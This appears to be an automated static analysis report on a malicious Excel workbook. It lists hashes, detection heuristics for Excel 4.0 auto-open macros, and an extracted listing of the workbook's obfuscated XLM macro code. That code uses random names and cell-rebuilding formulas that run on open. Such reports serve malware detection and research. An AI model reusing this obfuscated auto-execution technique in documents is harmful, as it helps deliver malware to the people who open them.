Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8957989d2a662450…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:16 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: b611ccebd9e50c5f6f292d7c568bf332 SHA-1: 6896149e4ef3d2240232205d8543baef57543ceb SHA-256: 8957989d2a662450d44ac08ea64ed86f66cf5576dfd2bef868723dba6e530a95
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6532 bytes
SHA-256: a5fbfe11f0def55a962021957a881751c19971cc2e6300ca565fa13200c32250
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iePrrVN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E136 
' 0018     26 LABEL : Cell Value, String Constant - ByvvJnlXady len=0 
' 0018     21 LABEL : Cell Value, String Constant - cIyVsT len=0 
' 0018     27 LABEL : Cell Value, String Constant - DMJVVwwMoEbb len=0 
' 0018     24 LABEL : Cell Value, String Constant - dQKJdYUjd len=0 
' 0018     22 LABEL : Cell Value, String Constant - FznZyYC len=0 
' 0018     22 LABEL : Cell Value, String Constant - HtTWEZw len=0 
' 0018     27 LABEL : Cell Value, String Constant - IEYfysxYRtmW len=0 
' 0018     25 LABEL : Cell Value, String Constant - iIUgQUACdV len=0 
' 0018     22 LABEL : Cell Value, String Constant - lKMTbvQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - lmFGwpTEq len=0 
' 0018     24 LABEL : Cell Value, String Constant - OyWvNiIwu len=0 
' 0018     22 LABEL : Cell Value, String Constant - pVtgBWT len=0 
' 0018     26 LABEL : Cell Value, String Constant - SnaYxTSaEPY len=0 
' 0018     27 LABEL : Cell Value, String Constant - telCIKLBOpQl len=0 
' 0018     21 LABEL : Cell Value, String Constant - TsTjzv len=0 
' 0018     25 LABEL : Cell Value, String Constant - uIcfzuAhSs len=0 
' 0018     24 LABEL : Cell Value, String Constant - WtzVWaQBm len=0 
' 0018     24 LABEL : Cell Value, String Constant - WYaSTHwuL len=0 
' 0018     26 LABEL : Cell Value, String Constant - xFKALGKIkWA len=0 
' 0018     23 LABEL : Cell Value, String Constant - xlzsizSP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iePrrVN,E43,"SET.NAME("HtTWEZw",VALUE("0"))",""
'  iePrrVN,E47,"SET.NAME("xFKALGKIkWA",HtTWEZw)",""
'  iePrrVN,E52,"SET.NAME("ByvvJnlXady",HtTWEZw)",""
'  iePrrVN,E55,"SET.NAME("TsTjzv",COUNTA(FznZyYC))",""
'  iePrrVN,E57,"SET.NAME("SnaYxTSaEPY",COUNTA(DMJVVwwMoEbb))",""
'  iePrrVN,E59,[],""
'  iePrrVN,E63,"SET.NAME("xlzsizSP","")",""
'  iePrrVN,E68,"xFKALGKIkWA",""
'  iePrrVN,E71,"SET.NAME("WYaSTHwuL",HLOOKUP("*",FznZyYC,xFKALGKIkWA,FALSE))",""
'  iePrrVN,E76,"dQKJdYUjd",""
'  iePrrVN,E78,"SET.NAME("lKMTbvQ",HtTWEZw)",""
'  iePrrVN,E82,[],""
'  iePrrVN,E86,"lKMTbvQ",""
'  iePrrVN,E88,"cIyVsT",""
'  iePrrVN,E93,"IEYfysxYRtmW",""
'  iePrrVN,E96,"telCIKLBOpQl",""
'  iePrrVN,E99,"SET.NAME("WtzVWaQBm",VALUE(HLOOKUP("*",DMJVVwwMoEbb,telCIKLBOpQl,FALSE)))",""
'  iePrrVN,E104,"uIcfzuAhSs",""
'  iePrrVN,E108,"xlzsizSP",""
'  iePrrVN,E112,"ByvvJnlXady",""
'  iePrrVN,E114,NEXT(),""
'  iePrrVN,E118,"OyWvNiIwu",""
'  iePrrVN,E121,"SET.NAME("f",INT(T(FORMULA(T(xlzsizSP)&"",""&T(OyWvNiIwu)))))",""
'  iePrrVN,E124,"lmFGwpTEq",""
'  iePrrVN,E128,NEXT(),""
'  iePrrVN,E132,RETURN(),""
'  iePrrVN,E160,"SET.NAME("pVtgBWT",E43)",""
'  iePrrVN,E164,"FznZyYC",""
'  iePrrVN,E166,"SET.NAME("DMJVVwwMoEbb",R40C11)",""
'  iePrrVN,E169,"SET.NAME("lmFGwpTEq",176)",""
'  iePrrVN,E171,"SET.NAME("iIUgQUACdV",5)",""
'  iePrrVN,E175,pVtgBWT(),""
'  iePrrVN,E176,HALT(),""

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